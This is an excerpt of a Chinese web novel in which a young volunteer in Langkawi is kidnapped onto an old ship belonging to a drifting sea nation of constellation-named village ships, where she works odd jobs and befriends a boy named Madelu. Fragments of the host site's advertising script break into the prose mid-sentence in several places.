一个人影映在窗户上,双手张开,是推窗欲进的姿态。夜间的风雨,让那影子如鬼魅般狭长怪异。 她住的是三楼。 温知和全身的血液仿佛都凝住了。 可来不及等她做任何反应,扑通一声,好像什么东西掉下去了。下一秒,又一道闪电经过时,窗外已空无一人。 唯有树影婆娑。 - 清早,几辆警车停在义工之家门外。附近的街坊都很好奇,路过时总要往里看上一两眼。 警察问,“那时候大概几点钟?” “两点……两点二十左右。人影消失之后,我立马给领队打了电话。电话记录是两点二十二分,你看。” 温知和把手机屏幕展示给马来西亚的警察,可对方只是微微低头,目光越过眼镜框的上边缘,瞥了一眼便移开了视线。 如此被怠慢,坐在旁边拍着温知和肩膀的吉赛尔有点不悦,嘟哝了几句。温知和也有些无奈,警察一大早来了以后,已让她反反复复把昨晚的情景说了又说,可听完了,望着她的眼神却好像她说的全是天方夜谭。 他们根本不信。 不止他们。尽管挺多义工伙伴围在温知和身边安慰着她,也有不少人全然是出于好心,可他们也会问——她是不是那时候太困,在一刹那间看错了? “说不定也受了那些鬼故事的影响,”有人说,“叽和你果然还是被吓到了吧!” “也可能只是树影子啦,”也有人说,“下雨的时候风好大,把树刮得乱七八糟的……所以有时候影子看起来就很奇怪噢!” 在周围寻找线索的警察们也陆陆续续回来了,他们内部聚在一起讨论时,这个耸耸肩,那个挑挑眉,调查成果一目了然。 “温小姐,我们没有在附近找到尸体,也没有找到晕倒受伤的人。你房间的外墙上也没有任何攀爬痕迹。不可能有人爬上你的窗户又掉了下去。”警察的马来西亚语语速飞快,一副走流程的样子,显然是打算尽快给这起事件做个结论,好回去休息。这样的态度,即使有翻译在场,双方交流也颇为困难。 温知和坚持说,“但我真的看见了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “昨天晚上两点到三点是雷雨下得最大的时候,那么恶劣的天气,连出门都有危险,更何况是冒雨爬墙?你说你看见了人影,可什么人会冒着那么大的风险去吓唬你?” “他不是在单纯地吓唬我。他是打算闯进来的。” “谁对你怀着那么大的恶意?你们的领队说你来兰卡威还不到一个月,没有跟任何人结过仇。” 温知和没有立刻回答。的确,她只是一个与当地事务毫无瓜葛的外国义工,既没有得罪过任何人,也没有携带任何足以令人铤而走险的财物。为什么会有人在雷雨夜试图闯进她的房间? 这个问题好似一张纯白的纸,寻来看去,到处都是干干净净,唯一令人不安的墨点只有——那张照片。 ——那张无意中拍到了古怪侏儒男人和他手中奇异匣子的照片。 ——“当太阳从大海深处升起……” 除此之外,温知和想不出自己身上还有什么别的与危险挂钩的事。 可那隐忧,在她几次对上警察冷淡的视线后,仍是说不出来。他们根本不相信她昨天晚上遇到的事。即使再拿出照片,他们也只会认为她有妄想症。 这时,一阵车轮声在门外停下,又来了一辆警车。看上去有些陈旧,经风历雨,见过不少世面。一个大块头的络腮胡警察走了下来,四方脸,神情里有点厌倦。人挺不修边幅的,衣服说不上干净,警徽还有点歪。 他走过来,同先前已经在这里的警察们说了些什么。他们朝着来人打量一阵,耸耸肩,点点头,又转过来对翻译开了口。 翻译告诉温知和,“温小姐,警方找到了新的线索,需要你配合一下到局里去做指认。” “指认什么?” 翻译指了指新来的络腮胡警察。“这位新警官说局里追查到了几个嫌疑人,需要你去看看照片,认一认有没有见过的。具体细节,这位警官在去的路上会告诉你。” “噢……好的。” 温知和看向那男人。按一般社交礼仪,此时双方应当打个招呼。但他把手插在口袋里,看也没看她,浑身上下写着一种想早点完事早点下班的意思。 吉赛尔压低了声音,“是只有我一个人,还是你也会觉得那个人有点讨厌?他看上去是那种做事敷衍脾气又很差的类型吧……” 温知和也压低了声音。“反正也不会比他的同事们更糟糕了。” 难得听温知和说人坏话,吉赛尔忍不住笑了笑,又说,“警局还挺远的,我陪你去吧。完事了我们还可以在市区里逛一下。嗯,我是说,如果你想的话。” 温知和说,“爱你。” 跟义工之家的领队打过招呼后,温知和便同吉赛尔跟在络腮胡警察身后走出了义工之家。 正是早上九点,外面的街道上已有了生活气。沿街的小店大开着门,车辆、行人各有各的声音。地上,昨晚的雨迹几乎看不见了,蒸发在温暖的阳光下。 络腮胡男人自然不会有给她们开门的礼貌,一句话也没说,自己先进了驾驶座。温知和开门时后座上已经有人了,剩下的位置只够再坐一个人,她进去之后,吉赛尔便自然而然地坐在了副驾驶座上。 几乎是在车门刚关上的瞬间,车子便发动了。车速提得很快,如同脱缰的马。窗外景象刷刷刷地朝后面飞逝而去。 温知和身边,那个在他们上车之前便已经在了的身影,是个警察。一身警服笔挺,端坐着,一动不动。也不说话。温知和好奇地看了一眼,可对方的警帽半遮了脸,有点看不清。 车里很安静,只听见愈来愈急促的引擎声。 到了一处僻静路口,车子忽然一个右转,紧接着便是急刹车。剧烈的方向变化让温知和差点没坐稳,惯性之下,身体被挤到了车门上。 她听见前排的吉赛尔抱怨了一声。 旁边一直没说话的警察也朝她摔了过来。那身体好似软绵绵的一块橡皮泥,先是脑袋在前排座椅上撞了一下,继而倒在温知和腿上。甚至没倒稳,差点摔在地上。温知和下意识地伸手扶了一把。 ——却摸到了对方身上的绳索。这个人的手被死死绑在了身后! 下一秒,对方的帽子掉了,脸终于露出来。那是一个嘴里被塞了布条,早已昏睡过去的人。面色通红,皮肤上还有伤,显然是被人暴力打晕的。笔挺的警服上,警徽不见踪影。 这是……什么情况!? 飙升的肾上腺素令温知和颈后生寒。她蓦地抬头望向前方驾驶座。周围的一切仿佛忽然间变慢了,汽车后视镜下挂了个小小的平安符,下面连着一根长长的纸条,缓缓地,一晃,一晃。 纸条上竖着写了两行字。 她不会这种语言,但她知道这句话前半截的意思。因为昨天晚上才查过。 ——“当太阳从大海深处升起……” 温知和对上那个络腮胡男人的视线。他神情里仍是那种有点厌倦的样子。可就在刚才的电光石火之间,副驾驶座上的吉赛尔已经被他一个手刀打晕了,脑袋歪歪地靠在椅子上。 他有一双好冷的眼睛。 他朝她伸出手,一张湿濡的脏手帕捂上了她的嘴。她没挣扎多久便失去了意识。 4. 第四章 温知和醒来时是在一艘船上。 四周海浪翻涌,身下的甲板也跟着微微震颤,间或响起吱吱呀呀的金属摩擦声。大海辽阔无际,穷尽目力也看不见陆地的踪影。 这艘船约莫有中型远洋客轮的体量,陈旧又简陋,仿佛从旧时代驶来的遗物。地板上、甲板栏杆上爬着一层层的红锈,像极了风蚀的骨头。 温知和坐在地上,双手被一条手指粗的麻绳跟栏杆绑在了一起,眼下的情形,显然她被绑架了。 可到处都没人影。烈日之下,唯有海浪声声。咸湿的海风冲着脸直吹,温知和难受得不行,嘴唇有点干裂,觉得口渴。 “有……咳,”她嗓子都是哑的,“有人吗……” 她声音不大,恰好一阵大浪打上来,不仅遮盖了她的声音,溅起来的水花还弄湿了她的头发。 四周安静,太阳渐渐升上了中天。周围事物的影子越来越短。有那么一片类似矩形的影子,风吹飘摇,轮廓变换,恰好落在了温知和脚尖。连着它的,是一条又长又直的阴影线。 顺着看过去,影子的原物是远处的旗杆和旗帜。旗杆是生锈的,两米多长的旗帜逆着光,隐约能看见上面的图案。星点与折线。很陌生的图案。 热汗不断从温知和额头滑落,身体太难受,意识好像也开始飘虚。 嗒。嗒。 不知熬了多久,有一个身影出现在视野里。那是一个穿着粗布衣服的中年女人,弯着腰,正拿着拖布拖地。大概是这里的清洁工。 温知和吃力地喊了一声,“您好——” 女人抬头看了她一眼。是典型的马来人长相,一双眼睛很空洞,嘴唇紧抿着,是生活不易的痕迹。 温知和的马来语水平只够说一句您好,再往后只能用英语。但愿对方能听懂。“打扰一下,请问这里是什么地方?” 对方没反应。 温知和又说,“您知道我的同伴在哪里吗?她叫吉赛尔,我们之前在同一辆车上。” 女人不再理她,忙自己的去了,仿佛她只是栏杆上一座不需要用抹布伺候的雕像。温知和发觉自己在这种情况下还礼貌得过头。更难受了。 慢慢地,她开始耷拉脑袋。 就在她晕过去之前,视野中终于出现了几双胶皮鞋。几个浑厚粗鲁的男人的声音响起来,听在她耳朵里,只觉得叽里咕噜的,根本不明白。他们自己好像正争论着什么。 忽然有人捏住温知和的下巴,强行让她抬了头。 太阳好晒。她又很晕。隐约只看见几张黝黑陌生的脸。她听见自己似乎说了些什么,大概是要水。但没人理会。 她忽然看见刀光。海上的太阳晃眼,映射在刀刃上,更亮得如同刺一般。 但刀光终究停在不远不近的位置。 不多时,又有脚步声朝着这边来了。模糊的视线里,她看见一抹闪着光的赤红色,然后就彻底晕了过去。 - 再醒来时,温知和仍在船上。不过是在船舱休息室里。地方不大,还挺空,床、椅之类的陈设都是最简单的,看上去很干净。 还有一扇小小的圆形舷窗能看见外面的景象,海面泛着金红的光,似是朝阳。 一个身影侧对着她,站在那朝阳前。 温知和:“……!” 微卷的黑发间,那枚赤红的耳钉在光里熠熠生辉,分外夺目。眼前人虽然说不上熟悉,但并不是第一次见。分明就是不久前在火车上遇见过的青年。 他为什么……会在这里? 青年站在光里,开口时语气很平静,好像此前从来没有见过她。“温知和。十九岁。中国来的义工,七月二日从淮市出发抵达吉隆坡。七月十一日从吉隆坡飞到槟城。七月二十三日乘列车、渡轮从槟城抵达兰卡威,至今已经有九天。” 每一项都准确无误。 温和知全身戒备着,不说话。 青年又开了口。“你不归我管。不过他们的管事现在很忙,姑且代他们来问问你。知不知道你为什么会被抓到这里来?” “……为什么?” “你在问我?”青年偏过脸来,打量了她一阵,“这里的人都不知道。所以问你。” “……?” 他又说了一次,语气里仍有点漫不经心的,“知不知道你为什么会被抓来?” “我怎么知道!这种问题不该是绑匪问受害人的吧?” “认识哈撒吗?” “那又是谁?” “是下发命令,要求把你带到这艘船上的人。” “……那为什么不去问他本人?” “他死了。” “……” 温知和一时语塞。短短几分钟的对话里,她和眼前人手里掌控的信息量相差太大,一问一答,总像是鸡同鸭讲。根本不知道他什么意思。 她决定单刀直入掌握主动权,先问最紧要的事。“吉赛尔在哪里?” “谁?” “和我在同一辆车上的女孩。她现在在哪里?”那是她在义工之家最好的伙伴,是为了陪她才上了那辆车的。 青年道,“放回去了。你还是多担心一下自己吧,哈撒点名要的是你。” 听上去,吉赛尔是安全的。 温知和诚恳地说,“那既然那个人已经死了,我是不是也可以走了?” “不可以。哈撒死了,没有人知道他为什么要找你。但这个‘为什么‘背后一定有答案。也许你是他的贵客,也许你是他的仇人。” “我不认识他。” “但他认识你。” 说这五个字的时候,青年的视线凝注在她脸上,仿佛能透过她的皮肤,看清底下藏着的秘密。 温知和心里莫名一凉,想起那张照片。 ——侏儒男人手上拿着盒子。 ——惊恐的、被撞破了秘密的表情。 ——神秘的、语焉不详的文字。 难道是那张照片无意中拍到了什么不可见人的东西,所以才被人盯上?可是那里面究竟有什么呢?如果贸然开口坦白照片的存在——她想起雷雨之夜意图闯入的诡异人影——会不会反而引来危险? 温知和低着头一直不说话,青年一时也没开口。 只有这陈旧的船,在无边大海中继续游走着,有些摇摇晃晃的。海面反射着白亮的阳光,一下一下,刺着温知和的眼睛。 “我不认识他。”她缓缓开口,重复了一次。 “你身上有没有发生过可疑的事?” “没有。” “一点也没有?” “一点也没有。 温知和刻意把语速控制得不快不慢,而且没有颤抖。虽然没有对上对方的视线,但她自觉自己已经做得还不错。 青年的视线在女孩不自觉捏紧的手指上停留一阵,最后不动声色地收回视线,只说,“既然如此,你要在这艘船上待一段时间了。” “……什么意思?” “查明哈撒为什么要找你之前,他们是不会放你走的。” “所以我、我是……囚犯?” 简简单单的几个字,她用了好一阵子才说完。越说心越沉下去。 “那就取决于你了。” “啊?” “在一个没人拿得准你是什么来历的地方,你怎么看你,别人就怎么看你,不是吗?” “……啊?” 在温知和反应过来之前,青年已抽身而退,推开门走了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他走得好干脆,脚步声很快就远了。 窗外,朝阳渐高,方才映在青年脸上的光这会照在了床边小桌上。那里有水和简单的吃食。温知和犹豫了一下。但也只是一下而已。她快饿死了。 这舱室的小铁门有点生锈,随着船的轻微摇晃,发出吱吱呀呀的响。没多久,她还没吃完东西,铁门蓦地被人大力拉开。 一个皮肤黝黑,身上的短衣短裤却鲜艳过了头的马来西亚男人打着呵欠走了进来,看年纪不过三十上下,神情里很有点不耐烦,眼睛斜着,下巴抬着,整个人说不出的有点扭捏又有点张扬。 男人在温知和面前坐了下来,一双细长的眼睛把她上下打量着。然后,他开了口,屈尊降贵一般,“温小姐,是吧?” 他说的是英语,但马来风味的口音很重。而且,“小姐”一词他用的不是现代常见的“Miss”,而是带点复古贵族意味的“Lady”。 ——好喜剧。 温知和觉得有点荒诞。 男人却显然是个对自己很自信的人,没觉得方才的发言有任何不妥,接着自我介绍道,“我是这艘船的管事,名字叫哈菲兹。不过我更喜欢别人叫我的英文名,戴、尔、蒙、德。” 戴尔蒙徳。Diamond。 “……你叫钻石?” “嗯哼。” “噢……” “总之我是这艘船的管事,船上大部分人的日常生活、工作,都是我这边来搞安排。嗯,每日配给的食物也是。娱乐活动也是吧。总之你现在到了我们的船上,怎么安排,也要有个安排才行。”这位钻石先生的英文水平显然还有很大的提升空间,讲起话来东一榔头、西一棒子的,而且没几个榔头棒子能砸中准确的语法,但他偏偏又要说,“对了你英文还行吧?我说的你都听得懂吧?” 温知和说,“呃,是的……” “那就好啊。能听得懂就好啊。总之我的意思就是,你以后的事呢,如果你真的要在我们这个船上定居,那你的工作有概率还是要我来安排的。不过首先得确定好一件事。” 这位钻石先生眯着眼睛,一下子凑近了温知和。 “我问你,你是真的一点也不知道你为什么被抓来?” “我不知道。” “真的?” “真的。” “真的真的?” “真的真的。” “你能听懂我的问题,是吧?我问你,我们把你抓到船上来,把你从那个兰卡威的陆地上,抓到这艘船上来——你知不知道这是为什么?”他用力比划着。 “我不知道。”温知和说,“这种事应该是由你们告诉我才对。” 钻石先生很遗憾地摇着头。“我们不知道。” 他略作思索,沉默一阵。复又抬头,一下子抬高声音,猛地道,“你是真的一点也不知道你为什么被抓来?” “我不知道。” “嗯……”他恢复严肃神色,很有条理地分析着,“在紧急情况下,竟然也没有被问出破绽,而是给出了一模一样的答复。看来是真的啊。你通过了我的第一重考核。你是真的一点也不知道你为什么被抓来。” “嗯。” “可是你难道真的一点也不知道你为什么被抓来吗?” “……“ 眼见着问来问去也问不出任何东西,男人的眉毛耷拉下去,终于出现放弃的神情。他一言不发,长久地盯着她。 “……既然如此,既然我们搞不清楚你到底为什么会被抓来,到明天日出之前,你知道会发生什么吗?” “……发生什么?” 男人露出一个阴森的表情。“会发生——你就得上班了。” “……?” 5. 第五章 狭小的船舱,生锈的铁桌,一端坐着困惑的温知和,另一端坐着把眉毛皱成了八字的钻石先生。 他拍着桌子,比着温知和看不懂的手势。“我们的船上是不养闲人的!这时代没有哪一艘船的日子好过,物资很紧张啦,每个人都要用自己的双手为自己挣饭吃。搞不清楚你的来历,我们就不能丢你去喂鱼,只好在你身上花点粮食。但粮食,粮食很珍贵,你得用自己的劳动去换,懂吗?” 这男人口音重,语速快,话又说得乱七八糟。 “……懂?”温知和借着发出这个字音的两秒钟缓了缓。生存危机的确能激发人的潜力,她对马来口音英语的理解水平在这两秒钟里被逼着上了一个台阶,迅速厘清了他话里的意思和潜台词—— 他们会供给她食物。作为交换,她要给他们做事。 也就是说短时间内她应该没有生命危险。 温知和像抓住了救命稻草,笃定地又答了一次。“懂!” “那么,”钻石先生很无所谓地耸耸肩,“你都擅长做点什么?” “我——” 温知和的大脑在飞速旋转。 ——你都擅长做点什么? 这多像生活还一切如常时,作为一个大学生时常被问到的问题。如果是参加学生社团,她会说她擅长弹古筝和跳芭蕾舞,还写得一手不错的毛笔字。如果是公共课小组分任务,她会说她擅长收集资料、写结课论文和做课堂展示,可以承担小组里任何一种角色,带着大家一起拿高分。如果是实习面试…… 可眼下的情景却与以往全然不同。 世界已经变了。 十九年来几乎一切的生活经历、几乎所有令人称赞的优势特长,都不足以支撑她回答这个问题。一艘绑匪的船上显然既不需要人弹琴,也不需要人写论文。 思来想去,似乎只有—— “我做饭还不错。” 然而男人说,“这可没戏。我们都不知道你到底是谁,怎么可能让你接触大家的食物。不过你既然会做饭……”他思索一阵,看着她很真诚地问,“那你应该也很会洗碗吧?” “……” 温知和不是很懂这里面的逻辑。但是,算了。 - 这艘船的厨房在二层楼尽头,还挺大的。锅炉灶台好几排,碗盆砧板到处摆,冰柜里冻满了生肉,角落的大渔网里还有几十条刚捕上来仍在蹦跶的鱼。空气里弥漫着一种散不去的黏腻气味,案台上满是陈年发黑的油污。 经年累月,一日一日,整艘船的伙食全依靠这里。 忙碌着的大多是衣着朴素的马来妇女,切肉的,煮饭的,择菜的,一眼看过去满屋子里没一个能闲着。 钻石先生把温知和领到这里来,跟一个疑似厨房管事的婆子叮嘱了几句,也不管对方愿意不愿意,丢下温知和就走了。 这里的人不会说英语无法和温知和交流,又搞不清楚她的来历。尽管都把她当成稀有动物一样明里暗里的瞅着,但也还客气。 可是这里……到底是什么地方呢? 厨房是闭塞环境。如果无法从周围人身上得到任何信息…… 温知和蹲在水池边,一个一个洗着手里的碗,下定了主意。 两小时后。 “你连碗都不会洗吗!?”接到了厨房投诉的钻石先生赶来厨房,见了温知和就是一顿斥骂。可他骂归骂,似乎顾忌着什么,始终没有动手。 冒了一把险的温知和心里隐约有了点底。对方摸不清她的来历,也在忌惮。 骂着骂着,钻石先生的英文词汇量不够了,只好转成马来语。他越骂越凶,无所谓,温知和听不懂。 她乖乖低着头,是虚心挨骂的姿态。 钻石先生把她骂完了,还想把她留在这。厨房的管事婆子连连摇头,嘴里的抱怨几乎是唾在地上的。 婆子先是用手狠狠地比划出两个五——新来的神秘女孩两个小时里摔了十个盘子。 又伸出一个食指——其中一个盘子还挺贵的。 最后用手指在脖子上抹了一下——温知和猜测这应该还不至于是“她不走我就去死”的意思,估计只是船上人特有的某种表达强烈意愿的方式。 钻石先生恶狠狠地瞪了温知和很久。 温知和:“对不起。” 温知和:“……对不起?” 温知和:“真的很对不起……” 厨房婆子灼灼的目光里,钻石先生不情不愿地把温知和带走了。下了楼,绕了点路,把她带到了甲板上。 不久前她从昏迷中醒来时便是在这里,但这会儿时间不早了,甲板上人还挺多的。几艘刚捕完鱼的小船正围在四周,皮肤晒得发黑的水手们正忙着把渔网拉上来,一派热火朝天的景象。 温知和自然没有下海捕鱼的技巧和力气。 钻石先生把她交给了一个清洁工模样的大爷。余怒未消,言语间似有叮嘱,大概是告诉大爷新来的怪女孩容易闯祸,要多盯着点。大爷看着挺慈祥,却有点耳背,一句话要钻石先生重复好几次。钻石先生显然有点崩溃,走的时候迁怒,特意又瞪了温知和很久。 温知和从清洁工大爷那里得了一桶水和一块抹布。她蹲在地上,慢慢把抹布浸进水里,皮肤上蔓过潮湿的凉意。 甲板是这艘船的边界。但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没用。出了这边界也只有无边无际的大海,没有出路。她已经被困在这里了。 甲板上人很多。但也没用。都是马来人,热热闹闹的说话声里,没一句她能听懂,得不到半点有用的信息。 两小时后。 “你唯一需要做的事只是把这些栏杆擦干净!”又一次接了投诉赶来的钻石先生黑着脸,“谁让你去碰旁边那些桶的?” “因为我想把桶也擦干净啊。” “可你桶没擦干净,反而把里面的鱼倒进海里了。” “对不起。不会有下一次的。” 钻石先生拍着栏杆骂骂咧咧的时候,拎着抹布的温知和虚心受教,甲板上的人都望着这边窃窃私语,时不时还有人插上一两句话。清洁工大爷似乎给温知和说了几句好话。 钻石先生又一次带走了温知和。 ——稍等,为了避免这个世界染上儿童文学的气息,还是不要再叫他钻石先生了。就按他的意愿叫他戴尔蒙徳管事吧。 ——上面那句正文重新再来一遍。 于是,戴尔蒙徳管事又一次带走了温知和。 短短一天里,温知和得以上上下下辗转了好几次,医务室、缝衣洗衣房、木工角……路上她总是刻意放慢脚步,用心观察四周情形。沿途所见,终于覆盖了船上将近一半的范围。 这艘船……好奇怪。 它一共四层。不是渔船,不是货船,也不是旅行船。更不像电影里那些在海上为非作歹的海盗船。这里的人们有老有少,有伙伴,有家庭,有邻里……它根本就像一个海上的小村落,一个四处漂流的村庄。 - 温知和今天最后一次被戴尔蒙徳管事领着走过甲板时,已是黄昏时分。金红色的夕阳漏过云层落在大海上,静谧而又悠长,仿佛谢幕前的灯光。 甲板栏杆前倚着一个身影。明明甲板上这样热闹,他周身却空了一段,没有人。他手里有一节亮着光的香烟,但,也只是拿着而已。夕阳映在他侧脸上,让他左耳下那枚鲜红的耳钉里像是闪着光。 其实,也挺奇怪的吧。这艘船像一个马来西亚小村庄,他这张东亚面孔,不也是个外来客吗? 从那青年身前经过时,戴尔蒙徳管事毕恭毕敬地用马来语打了个招呼,对方轻轻点了个头,算是回应。跟在后面的温知和出于礼貌,也打了个招呼。 是一句中文的,“晚上好。” 黑发的青年抬眼看过来,竟是笑了笑。不知他是否听闻了有人今天到处闯祸的趣事。 他似乎要说些什么,然而一次路过的时间毕竟太短,于是他只是望着她,也用中文说了一句,“晚上好。” 6. 第六章 温知和那天晚上又做了一个梦。 她回到了灯光温暖的家里,坐在餐桌边。正是吃晚饭的时候,满桌热气腾腾的都是她爱吃的东西,爸爸妈妈坐在对面一面说笑一面布置碗筷,桌子底下有一个雪白毛团子钻来钻去,是家里养的萨摩耶。 她好开心,对着他们说话。 可没人理她。 她越来越慌乱,试图伸手去拍他们的肩。她没有碰到他们,指腹下是冰冷的触感,如同相框的表面。 她忽然发现自己原来在相框里。低头一看,衣服是黑的,皮肤是白的,自己分明是一张遗照。 她吓醒了。 呼——呼—— 舷窗外,大海的声音起伏不绝,四周黑沉沉的看不清。 刚才的遗照是一场噩梦,冷汗一冒,眼睛一睁,也就醒了。 而眼前陌生的航船、冰冷的大海、被绑架的处境,也是一场噩梦——却是活生生的现实。现实该怎么醒? 她躺倒下去,直到天亮也没再睡着过。 - 温知和的工作换了七次以后,终于勉强算是定了下来。 ——指,至少,她在同一个地方呆了两天了。 这艘船既然是一座海上小村庄,自然也就有不少孩子。有孩子就需要学校。 她工作的这个地方便是船上的小学校。 十几个孩子,大的不过十二三,小的看上去还不到五岁。不大的房间里歪七八扭地摆了几排桌椅,孩子们三五成群地围在一起坐着,成日里闹哄哄的。氛围上与其说是课堂,倒不如说是永不结束的大课间。 温知和在这里暂且做了个老师。算术、写字之类的正经知识是教不了的。其一,语言不通。其二,他们也没有什么学的意思。不过,在教室里原有的几个当地老师的帮扶下,花几个小时带着一群孩子唱个歌、画个画,倒也勉强应付得来。 她教他们唱英文版的生日快乐歌。指指自己,唱一句,又指指他们。 她声音好听,孩子们喜欢,纷纷有学有样地张了嘴跟着唱。但他们听不懂词儿,不知空耳听成了什么,按着自己的理解翻译成了马来语乱唱一通。有些捣蛋鬼的意思可能唱得很不对,坐在一边的马来老师听得吹鼻子瞪眼睛,时不时过来揪着几只耳朵臭骂一顿。 她又教他们画画。简单的水彩笔,在白纸上画一些常见的景物,太阳、月亮、花草树木之类。 孩子们围坐在她身边跟着学。百分之八十的墨水用在了纸上,却也有剩下的百分之二十用在了旁边同学的脸上,画着画着互相打闹起来,你给我手臂一拳,我给你脑袋一巴掌。问题不大。虽然温知和好几次不得不放下画笔去劝架,但至今没有人在事故中缺胳膊少腿,每个人都还是很健全。 一个有趣的孩子是在她来这里打工的第二天出现的。他的存在,是她决定结束到处“闯祸”,在这间学校安定下来的原因之一。 他算是个大孩子,有十二岁,身形瘦高,肤色黝黑,外向得像个社交恐怖分子,连说话声音都比别人高八度。 他的特殊之处在于——他会英文。虽然发音歪得有十万八千里,语法也乱得偶尔很有点自创的意思,但他特别自信,讲起话来流利得不行。温知和勉强能听明白。 一个会英文的人。这在这艘船上很少见,她到处“颠沛流离”了好几天,一共也没遇上几个。而且大多是不好对付的成年人。孩子就好办多了,很方便她套信息。她现在对这艘船几乎一无所知。 温知和心里的小九九,孩子一点也不知道。他坐在位置上,打着呵欠瞅着她。 孩子说,“你谁?” 温知和说,“我是新来的老师。” 孩子打量着她,脸上是临近青春期的人常有的倨傲表情,“哦。你英语还可以啊,叫什么名字?” 温知和笑道,“我昨天来的时候自我介绍过了。你缺勤所以没听见,找别人打听去。” 孩子被噎了一下,黑着脸跟旁边的同学说了几句话,打听到了她的名字,很不爽地一字一句念了出来—— “温叽和。” “叫老师。” “叽和老师。” “……温老师。” “叽和老师。” “……” 孩子用笔戳了戳刚才打听温知和名字的同学。那同学一脸莫名其妙地瞅了他一阵,不情不愿开了口,念出一个马来语里的词。温知和没听懂。于是孩子把同学又重重戳了一下,令后者更大声地说出了那个词。 然后,他很傲慢地说,“我的名字。” 温知和:“……” 原来刚才她让他从同学嘴里打听她是谁,有来有回,他也要她从同学嘴里听说他的名字。 他叫马德鲁。 - 马德鲁正处在一个神奇的年纪。躁动,爱显摆,生怕在别人面前落下风——但这一切并不可厌,因为还带着孩子气。心智就那么大点,很容易就被识破了。 他会故意在温知和教大家唱歌的时候发出怪声,捏着鼻子做鬼脸。但温知和不理他,自顾自带着孩子们继续唱下去。他自觉没趣,只好趴在桌子上睡了。呼噜声吵着了旁边的同学,对方用很嫌弃的目光瞪着他,他睡得香,根本毫无察觉。 他故意学不会画画,花最多的水彩笔,画最丑的丑东西。但温知和笑眯眯地说,“画得真好。”除此之外别无反应。他坐在座位上一个人无所事事,发了半天的呆,又睡过去了。 捣蛋不成,马德鲁只好从别的地方找存在感,显摆显摆自己的重要性。 就在这一天,课程结束,到了饭点,小教室里老师和孩子们纷纷散了,喧闹着穿过外廊,下楼梯,到厨房门口去排队领饭吃。这地方有点大锅饭的意思,食物大多是统一分配的,还有专门的用餐地点。温知和心里索性管它叫食堂。 温知和落在人群后面,走得不紧不慢。正是傍晚时分,咸湿的海风吹着脸,她抬头,又看见了遥远处船头上的那面旗帜。 星点与折线的图腾。那究竟是什么呢? 有人忽然拍她的肩,又顺着她方才的视线望见了旗帜,露出得意的神情。正是马德鲁。他说,“叽和老师,听说你是新来的。” “啊。” “你肯定不知道我们那面旗帜的意思,是吧?” “嗯。” 马德鲁站在知识的高地上倨傲了一会。但他耐不住性子。“那是——”他把语气弄得很神秘,“大熊星座。” 难为他这英文水平能把那个并不常用的专有名词说得如此准确。但温知和这会儿并不明白这背后的意思,只觉得,哦,旗帜上的图案是大熊星座啊,于是就只回了马德鲁一句,“哦。” 她太平淡了。 马德鲁没得到预料中的回应,有点不满,追加了一句,“那你知不知道为什么要用星座来命名我们的船?” “不知道。” “我知道~” “哦。” “……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “……” “……喂,我知道的东西比你多,你好歹也敬佩一下我,追问一下为什么呀。” “我敬佩你。为什么?” “你好敷衍……算了我就告诉你吧!用星座当名字,是因为——天上有很多星座,海里也有很多船,好对应嘛!而且星座有很多很多,最重要的太阳却只有一个。这一点也很像啊,我们也只有一艘太阳船。” 孩子的不满,来得快去得快。马德鲁说着说着高兴起来,神情中带上了向往之色,望着那面在海风中微微飘摇的旗,笑着说,“听说太阳船是一个特别好的地方。总有一天我也要到太阳船上去。” 他一蹦一跳地往前走了几步,忽然发现身旁没人。温知和仍在原地,脸上带着若有所思的表情。 “叽和老师,你怎么了?” 温知和说,“船有很多……很多?” 马德鲁说,“是啊。” “这么说,你们是一个海上的国度?” “啊?” 温知和望向黄昏下的大海。海水茫茫,朝着四面八方,延向天际。各个方向上,在她看不见的地方,散布着一艘又一艘村庄一般的船。 在这个世界上,竟然有一个漂流在海上的国。村庄是四散的船只,以星座为命,环绕着他们唯一的太阳。 以前从来没有听说过。 她忽然想起那个句子。那张将她卷入这离奇之地的照片里,侏儒男人手中盒子上那行小小的文字。 ——“当太阳从大海深处升起……” 在绑架她的络腮胡男人的车上,在不知名青年手中的晨报上,也曾出现过这样一句话。这到底是一个什么样的国度?这里的人,究竟是一群什么样的人? 温知和说,“你说的太阳船是什么样的?” “很大,很漂亮,那个词叫什么……辉煌!太阳船是海上最好的地方,没有其他任何船比得上,只有很少很少的人才有资格上去!”他抬起下巴,很自豪地说,“我阿姐就去了。我以后也要去的。” 温知和说,“嗯,加油啊。” 马德鲁瞅着她,歪了歪头。他毕竟还小呢,比她矮了一个头还有余,像这样看着她,脑袋得很努力地抬起来。 温知和道,“你怎么了?” 马德鲁说,“叽和老师原来是好人啊。” “啊?” “你是第二个对我说加油的人。第一个是我阿姐。” 每当说起阿姐,马德鲁总是笑眯眯的很骄傲。 而他说起太阳船时眼睛里的亮光,如同一个“正常”的孩子——一个生活在陆地上的孩子——说起未来的梦想。不是那种写在作文里应付老师,或者过年时为了敷衍大人的发问随口编出的梦想,而是日复一日揣在心里,为它踏踏实实走过每一天的梦想。 除了“生活在船上”有点奇异,不管怎么看,马德鲁都是一个正常孩子。这艘船上的大多数船民也是如此,除了住在海上,他们与寻常人并无差异。不是骇人听闻的食人部落,也不是穷凶极恶的海盗。 ——那么他们为什么要抓她? 温知和分神想着事情,脚步不觉有些放慢。就这么一会儿,已落后人群很远了。马德鲁抓住温知和的袖子,迈开步子便拉着她往前跑。 “快走快走!晚了就没蔬菜了,只能吃鱼。” 两人一路快步,船在大海里摇摇晃晃,夕阳映着前行的路。 这已经是她来船上的第五天了。 7. 第七章 自从和马德鲁熟识,温知和对这艘船终于有了点了解。 它的名字是大熊星座号。船头那面旗帜上星点与折线的图腾,便是以大熊星座的点线图为基础绘成的。在漂流于大海之中那些以星座为命的船只里,大熊星座号算不上年头长的,统共还不到二十年,就连马德鲁这样的小孩子也不过是第二代住民。 有些真正有历史的船——马德鲁声称——上个世纪就下水了。温知和并没相信,只当怪谈来听了。 